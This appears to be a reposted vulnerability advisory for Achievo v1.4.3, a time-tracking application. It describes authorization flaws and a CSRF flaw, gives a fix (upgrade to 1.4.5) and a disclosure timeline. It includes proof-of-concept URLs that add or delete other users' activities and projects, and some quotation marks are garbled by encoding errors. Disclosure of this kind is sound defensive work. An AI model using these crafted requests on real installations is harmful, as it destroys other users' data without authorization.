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Achievo v1.4.3 Multiple Authorization Flaws / CSRF Vulnerability
================================================================ Achievo v1.4.3 Multiple Authorization Flaws / CSRF Vulnerability ================================================================ Vulnerability Description: It is possible to create and delete arbitrary activities to and from arbitrary users by modifying IDs in client requests. Proof of Concept: 1) To add activities as another user, just change value of the parameter “person.id†in the POST request to “/dispatch.php†to any other valid person ID. 2) To delete activities from any user: http://server/dispatch.php?atknodetype=timereg.hours&atkaction=delete&atkselector=hoursbase.id='XXXX' (where „XXXX. is the actual ID of the activity to be deleted) Solution: Upgrade to version 1.4.5 Vendor Response: 2010-Aug-04: Vendor is contacted 2010-Aug-05: Vulnerabilities details are sent to vendor 2010-Aug-25: Vendor informs status 2010-Sept-27: Vendor and researcher agree publication date 2010-Sept-28: Vulnerability public disclosure / Patch is released As application does not properly validate the “confirm†parameter in URL, a logged-in achievo user may be tricked to access an URL leading to deletion of tasks or projects without user.s confirmation Proof of Concept: 1) To delete a project: http://server/dispatch.php?atknodetype=project.project&atkselector=project.id='XXXX'&atkaction=delete&atklevel=1&atkprevlevel=0&confirm=Yes (where XXXX is the project ID number) 2) To delete an activity: http://server/dispatch.php?atknodetype=timereg.hours&atkaction=delete&atkselector=hoursbase.id='XXXX'&confirm=Yes (where „XXXX. is the actual ID of the activity to be deleted) Note: Even though a confirmation message is displayed to the user, at that point the activity has already been deleted. Solution: Upgrade to version 1.4.5 Vendor Response: 2010-Aug-04: Vendor is contacted 2010-Aug-05: Vulnerabilities details are sent to vendor 2010-Aug-25: Vendor informs status 2010-Sept-27: Vendor and researcher agree publication date 2010-Sept-28: Vulnerability public disclosure / Patch is released # 0day.today [2024-12-25] #